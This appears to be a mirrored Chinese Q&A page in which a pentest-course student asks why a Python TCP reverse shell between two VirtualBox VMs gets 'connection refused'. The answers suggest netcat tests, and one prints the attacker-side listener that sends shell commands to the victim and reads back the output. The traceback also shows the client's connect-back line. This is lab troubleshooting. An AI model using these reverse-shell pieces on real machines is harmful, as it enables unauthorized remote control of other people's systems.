运行TCP Reverse sh时出错

2024-10-03 23:30:26 发布

您现在位置:Python中文网/ 问答频道 /正文

我对socket很陌生,目前正在参加一个在线课程,进行攻击性笔试。其中一个教训是TCP反向shell。我在不同的虚拟机上运行两个脚本(使用VirtualBox),一个是攻击者,另一个是目标。攻击者脚本运行正常,但客户端输出错误:

Traceback (most recent call last):
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 22 in <module> main()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 21, in main connect()
   File "C:\Users\Home\Desktop\TCP_RevShell.py", line 6, in connect 
      s.connect(('10.0.2.15', 8080))
   File "C:\Python27\lib\socket.py", line 228, in meth return getattr(self._sock,name) (*args)
error: [Errno 10061] No connection could be made because the target machine actively refused it

我的密码是:

^{pr2}$

我不知道你是否需要看其他脚本来回答我的问题,如果需要,请告诉我。任何帮助都将不胜感激,~Spiralio。在


Tags: inpy脚本homemainconnectlinesocket
2条回答

确保可以在虚拟机之间ping。如果是这样,请尝试一些简单的东西,比如netcat侦听器,并尝试连接到它。在

您可以对攻击者运行nc -lp 8080,然后对受害者运行nc 10.0.2.15 8080(假设您在Linux上)。在

这两个步骤将帮助您隔离问题。如果ping不起作用,很可能是您的网络配置不正确。失败的netcat更多地指向某种防火墙。快速浏览一下并对您的设置一无所知,我认为您的Python脚本很好,并且您没有正确配置2个vm进行通信。在

确保IP网络是相同的,它们在同一个VM网络上(在Virtualbox设置中设置),就像上面提到的那样,没有防火墙在运行。在

攻击者代码:

import socket

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('10.0.2.15', 8080))
    s.listen(1)
    conn, addr = s.accept()
    print 'Got a connection from: ', addr

    while True:

        command = raw_input('Shell>')

        if 'terminate' in command:
            conn.send('terminate')
            conn.close()
            break
        else:
            conn.send(command)
            print conn.recv(1024)

def main ():
    connect()
main()

相关问题 更多 >